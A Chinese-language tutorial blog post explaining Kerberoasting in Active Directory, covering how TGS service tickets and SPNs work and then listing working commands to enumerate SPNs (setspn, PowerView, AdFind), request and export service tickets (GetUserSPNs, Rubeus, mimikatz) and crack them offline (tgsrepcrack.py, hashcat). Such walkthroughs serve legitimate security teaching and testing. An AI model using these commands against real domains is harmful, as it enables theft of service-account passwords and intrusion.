Kerberoasting
Kerberoasting
Kerberoasting 是域渗透中经常使用的一项技术,Kerberoast攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。
原理
TGS-REP
TGS-REP是由TGS发送给客户端的,其中包含
- ticket:ST票据
- 第一个enc-part值:ticket中的part是使用服务密钥的加密内容(server hash加密)
- 第二个enc-part值:外层的part值是使用CT_SK加密的(CT_SK加密)
ST票据的加密使用的是aes256,可以通过将算法变为RC4_HMAC_MD5就比较容易破解。
用户解密后重新封装的TGT
TGS封装ST发送给客户端
TGS收到用户TGT后做出的动作
- TGS接收到请求之后,首先检查自身是否存在客户端请求的服务(查询SPN)
- 如果服务存在,则通过krbtgt用户的NTLM HASH解密TGT,并得到CT_SK(Login Session Key)
- 解密成功后,使用CT_SK解密CT_SK加密的内容,然后检查里面的数据内容
解密TGT成功之后的动作
- 使用CT_SK加密CS_SK(Service Session Key)最外层的enc-part值
- ST包含了客户端用户信息和原始的CS_SK
- 最终Service Session Key和ST服务票据发送给客户端
也就是说不管用户有没有访问服务的权限,只要TGT正确,都会返回ST服务票据。这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据。
攻击原理
- ST票据的加密方式为aes256,但可以使用MD5加密
- 在TGS认证TGT的时候,不管用户是否有访问服务的权限,都会返回目标服务的ST票据
SPN
概述
服务主体名称(Server Principal Name)SPN,是服务实例的唯一标识符。
Kerberos身份验证使用SPN将服务实例与服务账户进行关联,在域中如果有多个服务,那么每个服务都必须有自己的SPN和用户。
一个用户可以有多个SPN,但是一个SPN只能对应一个服务,SPN必须注册在用户下。
简述
- SPN:服务主体名称,将服务用户和服务进行关联
- 服务用户:用于登录运行服务的用户
- 服务:运行在计算机上的服务
命令格式
<serviceclass>/<host>:<port>/<service name>
两个必须元素:serviceclass为服务类,host为服务所在的主机名字
例如:Mysql/SQL.xbxaq.com
SPN注册在机器用户下
计算机加入域后,机器用户(主机名$)会同步到域控。
服务权限为local system或者Network service的服务都会自动注册在机器用户下
SPN注册在域用户下
SPN可以注册在域内用户中,默认只有机器用户或者域管理员才有权限去注册SPN(将服务注册在域用户的权限)。
域内的普通用户如果要进行注册,需要修改权限。
SPN服务查询命令
setspn -Q */*
提示:第二个CN为Computers的用户即为机器用户,为Users的用户为域用户
SPN注册注意事项
在使用kerberos访问对方电脑的服务之前,KDC上必须有服务对应的SPN,并且注册到了用户上。
注册SPN有两种方式:
- 系统自动完成注册,例如安装的SQL等服务
- 手动注册,根据SPN的格式进行手动注册
注册SPN的用户有两种:
- 注册在机器用户下(机器名$)
- 注册在域用户下
提示:在注册SPN的时候只有机器用户或者域管理员用户才有权限,普通的域用户默认是没有权限的,除非修改相关的设置。
手动注册SPN
setspn -U -S HTTP/zhangsan.xbxaq.com:443 zhangsan
手动注册一个HTTP服务到zhangsan机器上,注册的域内用户是zhangsan
setspn -C -S MAIL/zhangsan.xbxaq.com:25 ZHANGSAN
手动注册一个邮箱服务到zhangsan机器上,注册的机器用户是ZHANGSAN
如果SPN注册在机器用户下
大致流程为
- A计算机提供TGT和需要访问的服务
- TGS检查服务名与对应的SPN
- TGS发现SPN中存在对应的服务名,例如为MYSQL
- SPN中MYSQL服务名对应的用户为SQL$ 机器用户
- 生成ST票据返回给A计算机(则ST票据使用的是SQL$-HASH进行加密)
那么在这个过程中我们是无法使用kerberoasting,因为机器用户的密码是非常难以破解的
如果SPN注册在域内用户下
大致流程为
- A计算机提供TGT和需要访问的服务
- TGS检查服务名与对应的SPN
- TGS发现SPN中存在对应的服务名,例如MYSQL
- SPN中MYSQL服务名对应的用户是ZHANGSAN
- 生成ST票据返回给A计算机(则ST票据使用的是ZHANGSAN-hash值进行加密)
SPN探测
在控制一台内网主机后,可以探测域内注册的SPN。原理是使用LDAP协议进行查询
SPN探测分为域内主机探测和非域内主机探测。
域内探测
如果控制的计算机已经加入域,并且使用域用户进行了登录,即使没有提权到system用户,也可以进行查询。
setspn命令
查询所有的SPN
setspn -Q */*
查询指定域内的SPN
setspn -T 域名 -Q */*
PowerView脚本
注意:该脚本只能查询域用户注册的SPN,无法查询机器用户注册的SPN。
Import-Module .\Powerview.ps1
Get-NetUser -SPN
GetUserSPNs脚本
adfind工具
AdFind.exe -b "dc=xbxaq,dc=com" -f "&(servicePrincipalName=*)" servicePrincipalName
非域内探测
对于非域内的主机,可以通过adfind工具,但是必须提供一个域内的账号密码,否则没有办法通过 kerberos协议,除非发现kerberos协议的漏洞。
adfind工具
AdFind.exe -h 192.168.110.10:389 -u xbxaq\ZHANGSAN -up a1b2c3.. -f "&(servicePrincipalName=*)" servicePrincipalName
查找高权限用户的SPN
AdFind.exe -h 192.168.110.10:389 -u xbxaq\ZHANGSAN -up a1b2c3.. -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName
获取高权限SPN服务票据
概述
获取SPN的目标就是用于破解SPN对应的账户密码,但是SPN可以注册在机器用户与域用户中。
- 机器用户的密码获取非常困难,因为机器用户的密码是随机的
- SPN可以注册在任何域用户下,故需要查询高权限的域用户SPN
过滤出SPN之后,就需要针对该类用户进行ST的申请
- 正常申请ST后进行破解属于kerberoasting
- 伪造ST属于白银票据
申请ST票据--GetUserSPNs工具
域内和非域内计算机都可以使用,这里在非域内计算机上进行执行
获取所有已注册SPN的域内用户ST票据
GetUserSPNs.exe -request -dc-ip 192.168.110.10 xbxaq.com/zhangsan:a1b2c3.. -outputfile st.txt
获取指定的已注册SPN用户的ST票据
GetUserSPNs.exe -request -dc-ip 192.168.110.10 xbxaq.com/zhangsan:a1b2c3.. -outputfile st.txt -request-user zhangsan
使用该工具获取的ST票据为MD5加密
申请ST票据--Rubeus工具
该工具只能用于域内机器
目标是一个hash值
Rubeus.exe kerberoast /format:john /outfile:hash.txt
申请ST票据--mimikatz工具
条件:当前域用户已经注册过SPN,且权限较高
首先查看当前域用户是否中注册过SPN
setspn -Q */*
使用mimikatz工具直接申请ST票据,从内存中导出
kerberos::ask /target:HTTP/zhangsan #申请票据
kerberos::list /export #导出所有票据
破解ST票据hash值
因为获取ST票据的工具不同,所以格式也有所不同,有kirbi格式也有hash值格式。
破解kirbi格式-tgsrepcrack.py脚本
注意:tgsrepcrack.py脚本为python2环境
python2 tgsrepcrack.py 密码字典 票据
需要安装kerberos库
破解hash值--hashcat
Hashcat –m 13100 hash pass --force
由于环境问题,本机没有安装CUDA,故没有成功(CUDA 是 NVIDIA 发明的一种并行计算平台和编程模型)
CUDA的安装可参考这篇文章windows11安装hashcat遇到的问题
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论